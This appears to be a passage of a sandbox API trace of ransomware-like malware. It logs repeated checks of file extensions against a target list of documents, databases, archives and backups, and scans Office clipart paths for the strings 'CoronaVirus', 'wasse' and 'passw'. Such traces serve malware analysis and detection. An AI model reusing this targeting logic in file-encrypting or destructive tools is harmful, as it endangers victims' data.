	[0097.507] wcsstr (_Str=".mdf", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".sdf", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".dwg", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".dxf", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".dgn", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".stl", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".gho", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".v2i", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".3ds", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".ppt", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".acc", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".vpd", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".odt", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".ods", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".rar", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".zip", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".cpp", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".pas", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".asm", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".rtf", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".lic", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".avi", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".mov", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".mp3", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".vbs", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".v8i", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".erf", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".epf", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".mxl", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".cfu", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".mht", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".bak", _SubStr=".wmf") returned 0x0
	[0097.508] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.508] wcsstr (_Str=".old", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".bak", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".bat", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".doc", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".jpg", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".jpe", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".txt", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".tex", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".dbf", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".xls", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".cry", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".xml", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".vsd", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".pdf", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".csv", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".bmp", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".tif", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.509] wcsstr (_Str=".1cd", _SubStr=".wmf") returned 0x0
	[0097.509] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".tax", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".gif", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".gbr", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".png", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".mdb", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".mdf", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".sdf", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".dwg", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".dxf", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".dgn", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".stl", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".gho", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".v2i", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".3ds", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".ppt", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".acc", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".vpd", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".odt", _SubStr=".wmf") returned 0x0
	[0097.510] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.510] wcsstr (_Str=".ods", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".rar", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".zip", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".cpp", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".pas", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".asm", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".rtf", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".lic", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".avi", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".mov", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".mp3", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".vbs", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".v8i", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".erf", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".epf", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".mxl", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".cfu", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".mht", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.511] wcsstr (_Str=".bak", _SubStr=".wmf") returned 0x0
	[0097.511] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".old", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".bak", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".bat", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".doc", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".jpg", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".jpe", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".txt", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".tex", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".dbf", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".xls", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".cry", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".xml", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".vsd", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".pdf", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".csv", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".bmp", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".tif", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.512] wcsstr (_Str=".1cd", _SubStr=".wmf") returned 0x0
	[0097.512] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".tax", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".gif", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".gbr", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".png", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".mdb", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".mdf", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".sdf", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".dwg", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".dxf", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".dgn", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".stl", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".gho", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".v2i", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".3ds", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".ppt", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".acc", _SubStr=".wmf") returned 0x0
	[0097.513] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.513] wcsstr (_Str=".vpd", _SubStr=".wmf") returned 0x0
	[0097.519] malloc (_Size=0x1000) returned 0x51f0070
	[0097.519] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.jpg") returned 68
	[0097.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.jpg", _SubStr="wasse") returned 0x0
	[0097.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.jpg", _SubStr="passw") returned 0x0
	[0097.522] malloc (_Size=0x1000) returned 0x51f80b0
	[0097.522] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.jpg") returned 68
	[0097.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.jpg", _SubStr="wasse") returned 0x0
	[0097.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.jpg", _SubStr="passw") returned 0x0
	[0097.553] malloc (_Size=0x1000) returned 0x51f5098
	[0097.553] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.jpg") returned 68
	[0097.559] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.559] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.jpg", _SubStr="wasse") returned 0x0
	[0097.559] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.jpg", _SubStr="passw") returned 0x0
	[0097.561] malloc (_Size=0x1000) returned 0x51f60a0
	[0097.561] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.jpg") returned 68
	[0097.561] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.561] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.jpg", _SubStr="wasse") returned 0x0
	[0097.561] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.jpg", _SubStr="passw") returned 0x0
	[0097.771] malloc (_Size=0x1000) returned 0x51f3088
	[0097.771] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.jpg") returned 68
	[0097.771] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.771] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.jpg", _SubStr="wasse") returned 0x0
	[0097.771] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.jpg", _SubStr="passw") returned 0x0
	[0097.785] malloc (_Size=0x1000) returned 0x51f3088
	[0097.795] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.jpg") returned 68
	[0097.795] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.795] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.jpg", _SubStr="wasse") returned 0x0
	[0097.795] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.jpg", _SubStr="passw") returned 0x0
	[0097.801] malloc (_Size=0x1000) returned 0x51f5098
	[0097.801] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.jpg") returned 68
	[0097.801] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.801] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.jpg", _SubStr="wasse") returned 0x0
	[0097.801] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.jpg", _SubStr="passw") returned 0x0
	[0097.809] malloc (_Size=0x1000) returned 0x51f4090
	[0097.809] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.jpg") returned 68
	[0097.809] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.809] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.jpg", _SubStr="wasse") returned 0x0
	[0097.809] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.jpg", _SubStr="passw") returned 0x0
	[0097.887] malloc (_Size=0x1000) returned 0x51f0070
	[0097.887] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.jpg") returned 68
	[0097.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.jpg", _SubStr="wasse") returned 0x0
	[0097.887] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.jpg", _SubStr="passw") returned 0x0
	[0097.889] malloc (_Size=0x1000) returned 0x51f4090
	[0097.890] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.jpg") returned 68
	[0097.890] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.jpg", _SubStr="CoronaVirus") returned 0x0
	[0097.890] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.jpg", _SubStr="wasse") returned 0x0
	[0097.890] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.jpg", _SubStr="passw") returned 0x0
	[0098.023] malloc (_Size=0x1000) returned 0x51f60a0
	[0098.025] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.jpg") returned 68
	[0098.025] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.025] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.jpg", _SubStr="wasse") returned 0x0
	[0098.025] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.jpg", _SubStr="passw") returned 0x0
	[0098.108] SetThreadPriority (hThread=0xd4c, nPriority=15) returned 1
	[0098.112] malloc (_Size=0x1000) returned 0x51f0070
	[0098.112] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.jpg") returned 68
	[0098.112] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.jpg", _SubStr="CoronaVirus") returned 0x0
	[0098.112] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.jpg", _SubStr="wasse") returned 0x0
	[0098.112] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.jpg", _SubStr="passw") returned 0x0
	[0098.172] SetThreadPriority (hThread=0xd24, nPriority=15) returned 1
	[0098.176] malloc (_Size=0x1000) returned 0x51f5098
	[0098.185] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.jpg") returned 68
	[0098.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.jpg", _SubStr="CoronaVirus") returned 0x0
